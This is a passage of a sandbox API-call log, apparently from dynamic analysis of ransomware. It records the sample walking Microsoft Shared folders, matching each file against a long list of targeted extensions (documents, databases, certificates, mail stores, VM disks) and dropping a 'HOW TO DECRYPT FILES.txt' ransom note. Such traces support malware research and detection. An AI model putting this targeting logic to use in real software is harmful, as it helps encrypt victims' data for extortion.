(pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.java") returned 0 [0058.723] lstrlenA (lpString="*.java") returned 6 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.asm") returned 0 [0058.723] lstrlenA (lpString="*.asm") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.pfx") returned 0 [0058.723] lstrlenA (lpString="*.pfx") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.pem") returned 0 [0058.723] lstrlenA (lpString="*.pem") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.p12") returned 0 [0058.723] lstrlenA (lpString="*.p12") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.gpg") returned 0 [0058.723] lstrlenA (lpString="*.gpg") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.vsd") returned 0 [0058.723] lstrlenA (lpString="*.vsd") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.odg") returned 0 [0058.723] lstrlenA (lpString="*.odg") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.raw") returned 0 [0058.723] lstrlenA (lpString="*.raw") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.nef") returned 0 [0058.723] lstrlenA (lpString="*.nef") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.svg") returned 0 [0058.723] lstrlenA (lpString="*.svg") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.psd") returned 0 [0058.723] lstrlenA (lpString="*.psd") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.vmx") returned 0 [0058.723] lstrlenA (lpString="*.vmx") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.vmdk") returned 0 [0058.723] lstrlenA (lpString="*.vmdk") returned 6 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.vdi") returned 0 [0058.723] lstrlenA (lpString="*.vdi") returned 5 [0058.723] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.lay6") returned 0 [0058.724] lstrlenA (lpString="*.lay6") returned 6 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.mpeg") returned 0 [0058.724] lstrlenA (lpString="*.mpeg") returned 6 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.djvu") returned 0 [0058.724] lstrlenA (lpString="*.djvu") returned 6 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.tiff") returned 0 [0058.724] lstrlenA (lpString="*.tiff") returned 6 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.backup") returned 0 [0058.724] lstrlenA (lpString="*.backup") returned 8 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.pdf") returned 0 [0058.724] lstrlenA (lpString="*.pdf") returned 5 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.cert") returned 0 [0058.724] lstrlenA (lpString="*.cert") returned 6 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.docm") returned 0 [0058.724] lstrlenA (lpString="*.docm") returned 6 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.xlsm") returned 0 [0058.724] lstrlenA (lpString="*.xlsm") returned 6 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.dwg") returned 0 [0058.724] lstrlenA (lpString="*.dwg") returned 5 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.nd") returned 0 [0058.724] lstrlenA (lpString="*.nd") returned 4 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.tlg") returned 0 [0058.724] lstrlenA (lpString="*.tlg") returned 5 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.lgb") returned 0 [0058.724] lstrlenA (lpString="*.lgb") returned 5 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.mov") returned 0 [0058.724] lstrlenA (lpString="*.mov") returned 5 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.xdw") returned 0 [0058.724] lstrlenA (lpString="*.xdw") returned 5 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.ods") returned 0 [0058.724] lstrlenA (lpString="*.ods") returned 5 [0058.724] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.wav") returned 0 [0058.724] lstrlenA (lpString="*.wav") returned 5 [0058.725] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.mp3") returned 0 [0058.725] lstrlenA (lpString="*.mp3") returned 5 [0058.725] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.aiff") returned 0 [0058.725] lstrlenA (lpString="*.aiff") returned 6 [0058.725] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.flac") returned 0 [0058.725] lstrlenA (lpString="*.flac") returned 6 [0058.725] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.m4a") returned 0 [0058.725] lstrlenA (lpString="*.m4a") returned 5 [0058.725] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.csv") returned 0 [0058.725] lstrlenA (lpString="*.csv") returned 5 [0058.725] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0058.725] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.725] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SmartTagInstall.exe") returned -1 [0058.725] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SmartTagInstall.exe") returned -1 [0058.725] lstrcmpiA (lpString1="", lpString2="SmartTagInstall.exe") returned -1 [0058.725] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned="MSTAG.TLB" [0058.725] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.725] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.725] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.725] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0x20 [0058.725] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="SmartTagInstall.exe" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" [0058.725] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.ems") returned 0 [0058.725] lstrlenA (lpString="*.ems") returned 5 [0058.725] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.db") returned 0 [0058.725] lstrlenA (lpString="*.db") returned 4 [0058.725] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.dbf") returned 0 [0058.726] lstrlenA (lpString="*.dbf") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.myox") returned 0 [0058.726] lstrlenA (lpString="*.myox") returned 6 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.myo") returned 0 [0058.726] lstrlenA (lpString="*.myo") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.qbw") returned 0 [0058.726] lstrlenA (lpString="*.qbw") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.qbb") returned 0 [0058.726] lstrlenA (lpString="*.qbb") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.qbm") returned 0 [0058.726] lstrlenA (lpString="*.qbm") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.qbo") returned 0 [0058.726] lstrlenA (lpString="*.qbo") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.qbx") returned 0 [0058.726] lstrlenA (lpString="*.qbx") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.qba") returned 0 [0058.726] lstrlenA (lpString="*.qba") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.qby") returned 0 [0058.726] lstrlenA (lpString="*.qby") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.qbj") returned 0 [0058.726] lstrlenA (lpString="*.qbj") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.ofx") returned 0 [0058.726] lstrlenA (lpString="*.ofx") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.qif") returned 0 [0058.726] lstrlenA (lpString="*.qif") returned 5 [0058.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.mye") returned 0 [0058.726] lstrlenA (lpString="*.mye") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.mbox") returned 0 [0058.727] lstrlenA (lpString="*.mbox") returned 6 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.eml") returned 0 [0058.727] lstrlenA (lpString="*.eml") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.pst") returned 0 [0058.727] lstrlenA (lpString="*.pst") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.ost") returned 0 [0058.727] lstrlenA (lpString="*.ost") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.idx") returned 0 [0058.727] lstrlenA (lpString="*.idx") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.dbx") returned 0 [0058.727] lstrlenA (lpString="*.dbx") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.sql") returned 0 [0058.727] lstrlenA (lpString="*.sql") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.mdb") returned 0 [0058.727] lstrlenA (lpString="*.mdb") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.fdb") returned 0 [0058.727] lstrlenA (lpString="*.fdb") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.wab") returned 0 [0058.727] lstrlenA (lpString="*.wab") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.dat") returned 0 [0058.727] lstrlenA (lpString="*.dat") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.txt") returned 0 [0058.727] lstrlenA (lpString="*.txt") returned 5 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.jpeg") returned 0 [0058.727] lstrlenA (lpString="*.jpeg") returned 6 [0058.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.jpg") returned 0 [0058.727] lstrlenA (lpString="*.jpg") returned 5 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.png") returned 0 [0058.728] lstrlenA (lpString="*.png") returned 5 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.php") returned 0 [0058.728] lstrlenA (lpString="*.php") returned 5 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.cs") returned 0 [0058.728] lstrlenA (lpString="*.cs") returned 4 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.cpp") returned 0 [0058.728] lstrlenA (lpString="*.cpp") returned 5 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.rar") returned 0 [0058.728] lstrlenA (lpString="*.rar") returned 5 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.zip") returned 0 [0058.728] lstrlenA (lpString="*.zip") returned 5 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.html") returned 0 [0058.728] lstrlenA (lpString="*.html") returned 6 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.htm") returned 0 [0058.728] lstrlenA (lpString="*.htm") returned 5 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.xlsx") returned 0 [0058.728] lstrlenA (lpString="*.xlsx") returned 6 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.xls") returned 0 [0058.728] lstrlenA (lpString="*.xls") returned 5 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.mp4") returned 0 [0058.728] lstrlenA (lpString="*.mp4") returned 5 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.ppt") returned 0 [0058.728] lstrlenA (lpString="*.ppt") returned 5 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.pptx") returned 0 [0058.728] lstrlenA (lpString="*.pptx") returned 6 [0058.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.doc") returned 0 [0058.728] lstrlenA (lpString="*.doc") returned 5 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.dot") returned 0 [0058.729] lstrlenA (lpString="*.dot") returned 5 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.docx") returned 0 [0058.729] lstrlenA (lpString="*.docx") returned 6 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.7z") returned 0 [0058.729] lstrlenA (lpString="*.7z") returned 4 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.tar") returned 0 [0058.729] lstrlenA (lpString="*.tar") returned 5 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.bz2") returned 0 [0058.729] lstrlenA (lpString="*.bz2") returned 5 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.gz") returned 0 [0058.729] lstrlenA (lpString="*.gz") returned 4 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.mkv") returned 0 [0058.729] lstrlenA (lpString="*.mkv") returned 5 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.eml") returned 0 [0058.729] lstrlenA (lpString="*.eml") returned 5 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.msg") returned 0 [0058.729] lstrlenA (lpString="*.msg") returned 5 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.edb") returned 0 [0058.729] lstrlenA (lpString="*.edb") returned 5 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.accdb") returned 0 [0058.729] lstrlenA (lpString="*.accdb") returned 7 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.odb") returned 0 [0058.729] lstrlenA (lpString="*.odb") returned 5 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.java") returned 0 [0058.729] lstrlenA (lpString="*.java") returned 6 [0058.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.asm") returned 0 [0058.730] lstrlenA (lpString="*.asm") returned 5 [0058.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.pfx") returned 0 [0058.730] lstrlenA (lpString="*.pfx") returned 5 [0058.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.pem") returned 0 [0058.730] lstrlenA (lpString="*.pem") returned 5 [0058.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.p12") returned 0 [0058.730] lstrlenA (lpString="*.p12") returned 5 [0058.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.gpg") returned 0 [0058.730] lstrlenA (lpString="*.gpg") returned 5 [0058.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", pszSpec="*.vsd") returned 0 [0058.730] lstrlenA (lpString="*.vsd") returned 5 [0058.730] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0058.730] FindClose (in: hFindFile=0x4f81a0 | out: hFindFile=0x4f81a0) returned 1 [0058.730] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0058.730] lstrcmpA (lpString1=".", lpString2="Source Engine") returned -1 [0058.731] lstrcmpA (lpString1="..", lpString2="Source Engine") returned -1 [0058.731] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0058.731] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\", lpString2="Source Engine" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" [0058.731] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f81a8 [0058.732] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.732] FindNextFileA (in: hFindFile=0x4f81a8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.733] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.733] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.733] FindNextFileA (in: hFindFile=0x4f81a8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0058.733] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.733] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OSE.EXE") returned -1 [0058.733] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OSE.EXE") returned -1 [0058.733] lstrcmpiA (lpString1="", lpString2="OSE.EXE") returned -1 [0058.733] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*") returned="*.*" [0058.733] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\" [0058.733] PathAddBackslashA (in: 